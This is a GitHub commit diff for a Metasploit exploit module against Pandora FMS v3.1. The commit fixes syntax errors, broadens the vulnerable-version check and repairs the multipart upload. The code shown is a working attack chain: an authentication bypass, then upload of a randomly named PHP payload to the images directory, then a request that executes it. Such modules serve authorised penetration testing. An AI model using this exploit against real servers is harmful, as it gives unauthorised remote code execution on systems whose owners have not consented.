Skip to content

Commit 547b7f2

Browse files
committed
Syntax and File Upload BugFix
Fix unexpected ) in line 118 Fix file cleanup missing _ Fix more robust version check script Fix file upload
1 parent 223d6b7 commit 547b7f2

File tree

1 file changed

+13
-10
lines changed

1 file changed

+13
-10
lines changed

modules/exploits/multi/http/pandora_upload_exec.rb

Lines changed: 13 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -26,12 +26,13 @@ def initialize(info={})
2626
'License' => MSF_LICENSE,
2727
'Author' =>
2828
[
29-
'Juan Galiana Lara', # Vulnerability discovery
30-
'Raymond Nunez <rcnunez[at]upd.edu.ph>', # Metasploit module
31-
'Fr330wn4g3 <Fr330wn4g3[at]gmail.com>', # Metasploit module
32-
'_flood <freshbones[at]gmail.com>', # Metasploit module
33-
'mubix <mubix[at]room362.com>', # Auth bypass and file upload
34-
'egypt <egypt[at]metasploit.com>', # Auth bypass and file upload
29+
'Juan Galiana Lara', # Vulnerability discovery
30+
'Raymond Nunez <rcnunez[at]upd.edu.ph>', # Metasploit module
31+
'Elizabeth Loyola <ecloyola[at]upd.edu.ph>', # Metasploit module
32+
'Fr330wn4g3 <Fr330wn4g3[at]gmail.com>', # Metasploit module
33+
'_flood <freshbones[at]gmail.com>', # Metasploit module
34+
'mubix <mubix[at]room362.com>', # Auth bypass and file upload
35+
'egypt <egypt[at]metasploit.com>', # Auth bypass and file upload
3536
],
3637
'References' =>
3738
[
@@ -66,7 +67,8 @@ def check
6667
'uri' => normalize_uri(base, 'index.php')
6768
})
6869
if res and res.code == 200
69-
if res.body.include?("v3.1 Build PC100609")
70+
#Tested on v3.1 Build PC100609 and PC100608
71+
if res.body.include?("v3.1 Build PC10060")
7072
return Exploit::CheckCode::Vulnerable
7173
elsif res.body.include?("Pandora")
7274
return Exploit::CheckCode::Detected
@@ -90,6 +92,7 @@ def upload(base, file, cookies)
9092
data.add_part("images", nil, nil, 'form-data; name="directory"')
9193
data.add_part("1", nil, nil, 'form-data; name="upload_file"')
9294
data_post = data.to_s
95+
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
9396

9497
res = send_request_cgi({
9598
'method' => 'POST',
@@ -103,7 +106,7 @@ def upload(base, file, cookies)
103106
'data' => data_post
104107
})
105108

106-
register_files_for cleanup(@fname)
109+
register_files_for_cleanup(@fname)
107110
return res
108111

109112
rescue ::URI::InvalidURIError
@@ -115,7 +118,7 @@ def upload(base, file, cookies)
115118
def exploit
116119

117120
base = target_uri.path
118-
@fname = "#{rand_text_numeric(7)}.php")
121+
@fname = "#{rand_text_numeric(7)}.php"
119122
cookies = ""
120123

121124
# bypass authentication and get session cookie
@@ -156,7 +159,7 @@ def exploit
156159
end
157160

158161
# retrieve and execute PHP payload
159-
print_status("#{@peer} - Executing payload (images/#{@fname}")
162+
print_status("#{@peer} - Executing payload (images/#{@fname})")
160163
begin
161164
res = send_request_cgi({
162165
'method' => 'GET',

0 commit comments

Comments
 (0)